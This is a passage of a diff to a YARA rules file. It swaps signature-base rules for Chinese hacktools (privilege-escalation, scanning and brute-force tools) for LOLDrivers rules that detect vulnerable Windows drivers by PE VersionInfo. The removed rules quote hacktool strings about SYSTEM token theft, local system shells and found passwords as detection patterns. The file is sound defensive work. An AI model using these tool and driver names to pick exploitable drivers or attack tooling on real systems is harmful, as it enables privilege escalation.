+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300038002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 3 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Churrasco : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Dcprotectsys_Dcprotectrwinxdriver_1698 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file churrasco.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "99cb5a7a-85c1-57f5-b5b6-f0b1092e1e06"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1664-L1681"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a8d4c177948a8e60d63de9d0ed948c50d0151364"
-		logic_hash = "36ca7c8d1579eeb571c182c033c312b3b231313b8950c1e24eeb3df793b004c4"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - DcProtect.sys"
+		author = "Florian Roth"
+		id = "4be3fa3a-dec2-5906-99b0-024c8ed059a5"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10616-L10635"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1698ba7eeee6ff9272cc25b242af89190ff23fd9530f21aa8f0f3792412594f3"
+		logic_hash = "be362e0f19f3565a77b1dbd78ea04f85b7f56fd6889d8fa48ed9ded25134bc2e"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Done, command should have ran as SYSTEM!" ascii
-		$s2 = "Running command with SYSTEM Token..." ascii
-		$s3 = "Thread impersonating, got NETWORK SERVICE Token: 0x%x" ascii
-		$s4 = "Found SYSTEM token 0x%x" ascii
-		$s5 = "Thread not impersonating, looking for another thread..." ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044006300500072006f00740065006300740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0044006300500072006f00740065006300740020002800520029002000570069006e003700780036003400200064007200690076006500720020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032002d00320030003200300020004a00690061006e0067006d0065006e0020004500790075006e0020004e006500740077006f0072006b00200043006f002e002c004c00740064002e00200032003000310039 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_X64_Kiwicmd : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_C901 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file KiwiCmd.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "df759fd4-5d42-5dd9-81d0-ceccafcdd64d"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1682-L1697"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
-		logic_hash = "b49a70a49a67fbb57d643b38155482177f594bd1f01f5464c4f36b265aac48d8"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "a1c33a78-bef9-59fc-8976-876c1fe68aff"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10638-L10657"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c9014b03866bf37faa8fdb16b6af7cfec976aaef179fd5797d0c0bf8079d3a8c"
+		logic_hash = "2320a0cc02aa28c6495f553b2c7c9c0486599e510d8378dfb3f15b988ff90983"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Process Ok, Memory Ok, resuming process :)" fullword wide
-		$s2 = "Kiwi Cmd no-gpo" fullword wide
-		$s3 = "KiwiAndCMD" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0031003100310038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and 2 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Sql1433_SQL : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Symanteccorporation_Vproeventmonitorsys_Symanteceventmonitorsdriverdevelopmentedition_7877 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file SQL.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fb4c5958-2e4e-5231-b0db-eca6bc3d823a"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1699-L1715"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "025e87deadd1c50b1021c26cb67b76b476fafd64"
-		logic_hash = "5ceecc4f345cb603a0b03180f3f09f97e5f951b5d75c469aefffe3ec62916a8f"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VProEventMonitor.sys"
+		author = "Florian Roth"
+		id = "84fa4df8-ac81-5de0-994d-9d754642a01e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10660-L10679"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7877c1b0e7429453b750218ca491c2825dae684ad9616642eff7b41715c70aca"
+		logic_hash = "693ace66d01afcdd61fe23a3baa8b950153d38bdc386a43861005654c269cd3d"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 31 00 34 00 33 00 33 }
-		$s1 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 31 00 2C 00 34 00 2C 00 33 00 2C 00 33 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600500072006f004500760065006e0074004d006f006e00690074006f0072002e0053007900730020002d0020004500760065006e00740020004d006f006e00690074006f00720069006e00670020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530079006d0061006e00740065006300200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e00340035003700300038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]005600500072006f004500760065006e0074004d006f006e00690074006f0072002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530079006d0061006e0074006500630020004500760065006e00740020004d006f006e00690074006f00720073002000440072006900760065007200200044006500760065006c006f0070006d0065006e0074002000450064006900740069006f006e }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005600500072006f004500760065006e0074004d006f006e00690074006f0072002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300037002d0032003000300038002000530079006d0061006e00740065006300200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <90KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Cookietools2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Wj_Kprocesshacker_C725 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file CookieTools2.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f227ba4b-9cad-5aac-99ab-46a8237249d4"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1717-L1733"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cb67797f229fdb92360319e01277e1345305eb82"
-		logic_hash = "8ddb8ea0bc047877d91f25375745ab8fa66af28b6b41de36e0fb16ea8284fce5"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - kprocesshacker.sys"
+		author = "Florian Roth"
+		id = "53a8740a-65a5-5eb5-afc5-b86058982071"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10682-L10700"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c725919e6357126d512c638f993cf572112f323da359645e4088f789eb4c7b8c"
+		logic_hash = "78c3a92f79cbbc31d9191da527bf834e366454f1b5109600aca7954ca4e77226"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "www.gxgl.com&www.gxgl.net" fullword wide
-		$s2 = "ip.asp?IP=" fullword ascii
-		$s3 = "MSIE 5.5;" fullword ascii
-		$s4 = "SOFTWARE\\Borland\\" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00500072006f0063006500730073004800610063006b00650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0077006a00330032 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0038 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b00500072006f0063006500730073004800610063006b00650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006b00700072006f0063006500730073006800610063006b00650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004c006900630065006e00730065006400200075006e006400650072002000740068006500200047004e0055002000470050004c002c002000760033002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Cyclotron : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_7AD0 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file cyclotron.sys"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7099462b-2a72-56cd-8a50-27cd445eb9d2"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1735-L1752"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5b63473b6dc1e5942bf07c52c31ba28f2702b246"
-		logic_hash = "f3a0edf54039479c9f4e46b20249465bbe1bca57f47afeba37965e6e3fc0127f"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "e9db51b4-48a2-53a9-999d-5676d0a4aa91"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10703-L10722"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7ad0ab23023bc500c3b46f414a8b363c5f8700861bc4745cecc14dd34bcee9ed"
+		logic_hash = "2cfb950364b5259679e0dcc7ebe34fd6703ae376b5e1717428a88f0c2ba823f5"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "\\Device\\IDTProt" wide
-		$s2 = "IoDeleteSymbolicLink" fullword ascii
-		$s3 = "\\??\\slIDTProt" wide
-		$s4 = "IoDeleteDevice" fullword ascii
-		$s5 = "IoCreateSymbolicLink" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Xscan_Gui : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_83A1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file xscan_gui.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fee11058-e75f-5d8f-8d10-06dcaed99df1"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1754-L1770"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a9e900510396192eb2ba4fb7b0ef786513f9b5ab"
-		logic_hash = "366db7eb19725a0a42ce371d7bfb50a22a259f0bc0252927af626e8c1c0b9b59"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "5164ae7c-795d-55fd-837a-e45a054fdd3e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10725-L10744"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "83a1fabf782d5f041132d7c7281525f6610207b38f33ff3c5e44eb9444dd0cbc"
+		logic_hash = "16b76760cc8831b7e53cb5f12625cd1dcd059253aa195d763011ccc1cf48a2c5"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "%s -mutex %s -host %s -index %d -config \"%s\"" fullword ascii
-		$s2 = "www.target.com" fullword ascii
-		$s3 = "%s\\scripts\\desc\\%s.desc" fullword ascii
-		$s4 = "%c Active/Maximum host thread: %d/%d, Current/Maximum thread: %d/%d, Time(s): %l" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002c00200031002c00200030002c00200031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002c00200031002c00200030002c00200031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003500200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_CN_Tools_Hscan : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_C082 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file hscan.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "82d9cd61-8cef-56b4-8dfe-a28edaa781b8"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1772-L1792"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "17a743e40790985ececf5c66eaad2a1f8c4cffe8"
-		logic_hash = "9bc4800249bffcc4b8fc1191d600f0b9b2a7b0c1f067039c83c03671a0b4b5c5"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "36d4d011-edf0-53e8-9665-b75520140df3"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10747-L10766"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c082514317bf80a2f5129d84a5a55e411a95e32d03a4df1274537704c80e41dd"
+		logic_hash = "de63522d95ff422588d388c3533e268bd09fcf895d60277b7f7470ca7b1e9a33"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "%s -f hosts.txt -port -ipc -pop -max 300,20 -time 10000" fullword ascii
-		$s2 = "%s -h 192.168.0.1 192.168.0.254 -port -ftp -max 200,20" fullword ascii
-		$s3 = "%s -h www.target.com -all" fullword ascii
-		$s4 = ".\\report\\%s-%s.html" fullword ascii
-		$s5 = ".\\log\\Hscan.log" fullword ascii
-		$s6 = "[%s]: Found cisco Enable password: %s !!!" fullword ascii
-		$s7 = "%s@ftpscan#FTP Account:  %s/[null]" fullword ascii
-		$s8 = ".\\conf\\mysql_pass.dic" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00360030002e0030002e0031003000380034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00360030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Goodtoolset_Pr : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Creativetechnologyinnovationcoltd_Ctiiosys_Ctiiodriverversion_X_2121 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file pr.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d00e1873-f2a5-5e89-9223-ead418e2667c"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1794-L1812"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f6676daf3292cff59ef15ed109c2d408369e8ac8"
-		logic_hash = "0673bc445422f4339c9e81ff8ae8a9b2bb9bc1f107b85fe34906444a1754c43b"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CtiIo64.sys"
+		author = "Florian Roth"
+		id = "3cc780a4-7b9c-516e-91a1-705f785922d2"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10769-L10788"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2121a2bb8ebbf2e6e82c782b6f3c6b7904f686aa495def25cf1cf52a42e16109"
+		logic_hash = "58b715cbea724f7d8f946f613ec35fc3bf29cc34c1e32ebc2910d73092f96d83"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "-->Got WMI process Pid: %d " ascii
-		$s2 = "-->This exploit gives you a Local System shell " ascii
-		$s3 = "wmiprvse.exe" fullword ascii
-		$s4 = "Try the first %d time" fullword ascii
-		$s5 = "-->Build&&Change By p " ascii
-		$s6 = "root\\MicrosoftIISv2" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00430054004900200049004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043007200650061007400690076006500200054006500630068006e006f006c006f0067007900200049006e006e006f0076006100740069006f006e00200043006f002e002c0020004c00540064002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300020007800360034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043007400690049006f00360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043007400690049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0030 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043007400690049006f00360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003200310020004300540049 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Hydra_7_4_1_Hydra : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Ssmartsoftwaresolutionsgmbh_Sysdrvs_Sysdrvs_0E53 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file hydra.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "cf692bea-091d-5be0-a012-caba01e96dde"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1814-L1832"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3411d0380a1c1ebf58a454765f94d4f1dd714b5b"
-		logic_hash = "f52696cbf7355c982d1a1e0c73dce65324845c5ffc13c541e326720332b4788d"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SysDrv3S.sys"
+		author = "Florian Roth"
+		id = "9ace902a-a3bf-56fa-8eb8-99a82c1adf0b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10791-L10810"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0e53b58415fa68552928622118d5b8a3a851b2fc512709a90b63ba46acda8b6b"
+		logic_hash = "4d165a6f340f31b18e62ae9f35dd1c5e278217b949e6162119f0e512a262dc38"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
